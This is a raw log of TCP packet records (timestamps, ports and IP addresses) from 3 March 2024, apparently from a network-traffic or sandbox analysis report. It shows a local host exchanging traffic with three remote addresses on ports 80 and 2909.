Mar 3, 2024 13:43:09.323400974 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323420048 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323450089 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323477983 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323525906 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323525906 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323563099 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323609114 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323625088 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323656082 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323708057 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323724985 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323766947 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323786020 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323823929 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323870897 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323913097 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.323915958 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.323966980 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324012995 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324042082 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324055910 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324095964 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324115038 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324129105 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324177980 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324178934 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324269056 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324281931 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324315071 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324354887 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324385881 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324398994 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324434996 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324479103 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324490070 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324537039 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324549913 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324580908 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324635983 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324681997 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324800014 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324876070 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324918985 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324929953 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.324937105 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.324979067 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325058937 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325205088 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325247049 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325261116 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325330019 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325347900 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325366974 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325372934 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325416088 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325416088 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325472116 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325515032 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325540066 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325602055 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325647116 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325721025 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325795889 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325839996 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.325891018 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325936079 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.325980902 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.326036930 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326143026 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326185942 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.326263905 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326383114 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326426029 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.326549053 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326596022 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326642036 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326642990 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.326771021 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326814890 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.326877117 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326906919 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.326948881 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327102900 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327136993 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327155113 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327183008 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327222109 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327264071 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327265024 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327296972 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327342033 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327342033 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327373028 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327399015 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327413082 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327488899 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327502012 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327532053 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327544928 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327574968 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327588081 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327615976 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327639103 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327662945 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327678919 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327723026 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327728987 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327784061 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327796936 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327830076 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327858925 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327888966 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327903986 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327917099 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.327975988 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.327984095 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328013897 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328058004 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328067064 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328077078 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328116894 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328150988 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328164101 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328196049 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328200102 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328210115 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328239918 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328252077 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328301907 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328327894 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328347921 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328372002 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328404903 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328417063 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328424931 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328465939 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328486919 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328500032 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328542948 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328551054 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328603983 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328639030 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328648090 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328681946 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328695059 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.328726053 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.328811884 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.349880934 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.420233965 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.429596901 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.437019110 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:09.474039078 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.489703894 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:09.520967007 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.589540005 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:09.591013908 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.597219944 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.677222013 CET	80	49735	18.173.219.116	192.168.2.4
Mar 3, 2024 13:43:09.677309990 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:09.677999973 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:09.700385094 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.757531881 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.758332014 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.765635014 CET	80	49735	18.173.219.116	192.168.2.4
Mar 3, 2024 13:43:09.836528063 CET	80	49735	18.173.219.116	192.168.2.4
Mar 3, 2024 13:43:09.860240936 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.877490997 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:09.911567926 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:09.923144102 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:09.974059105 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.092045069 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.251759052 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.262047052 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.420968056 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.420989037 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.421005964 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.422142982 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.423989058 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.424410105 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.583231926 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.583898067 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.584753990 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.586292982 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.630310059 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.669440985 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.692898989 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:10.746001959 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.780531883 CET	80	49735	18.173.219.116	192.168.2.4
Mar 3, 2024 13:43:10.780591965 CET	49735	80	192.168.2.4	18.173.219.116
Mar 3, 2024 13:43:10.786566973 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.822263002 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.828258991 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.828325033 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.828408003 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.828526974 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.828556061 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.828574896 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.832082033 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.837825060 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.841732979 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.981229067 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.981297970 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:10.981364012 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.981412888 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.981456995 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:10.981647015 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.001378059 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.009077072 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.140126944 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.142658949 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.144413948 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.168772936 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.170650005 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.304899931 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.306755066 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.335026026 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.379070044 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.466924906 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.467807055 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.537998915 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538095951 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538094997 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.538124084 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538140059 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538216114 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.538264036 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538264990 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.538326025 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538343906 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.538430929 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538444996 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.538495064 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.539077997 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.539130926 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.539143085 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.539247990 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.539288998 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.539313078 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.627588987 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.677221060 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.696981907 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697073936 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697088957 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697161913 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697274923 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697315931 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697419882 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697452068 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.697912931 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.698215961 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.698237896 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.698482990 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.699522018 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.704534054 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.739687920 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.864516973 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:11.909986973 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:11.925760984 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.082204103 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.084716082 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.084732056 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.084794998 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.084902048 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.084968090 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.085174084 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085187912 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085230112 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085258007 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.085270882 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085289955 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.085321903 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.085326910 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085375071 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.085757971 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085851908 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.085913897 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.086066961 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.241166115 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243490934 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243578911 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243597031 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243613005 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243695021 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243777990 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243814945 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.243859053 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244301081 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244364023 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244472027 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244601011 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244611979 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244682074 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244787931 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.244882107 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245006084 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245017052 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245114088 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245225906 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245242119 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245300055 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245347977 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245440006 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245496988 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245565891 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.245788097 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.276084900 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.276779890 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.278538942 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.405380964 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.437716961 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.458452940 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.472325087 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.511349916 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.632050037 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.640181065 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.682085991 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.724082947 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.736972094 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.800879955 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.807816982 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.896774054 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.906233072 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:12.967859030 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:12.969264984 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:13.065979004 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.066328049 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:13.129045963 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.136485100 CET	49730	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:13.226769924 CET	2909	49729	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.233108997 CET	49729	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:13.295406103 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.295423031 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.295439005 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.306087017 CET	2909	49730	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:13.349066973 CET	49730	2909	192.168.2.4	67.203.7.148
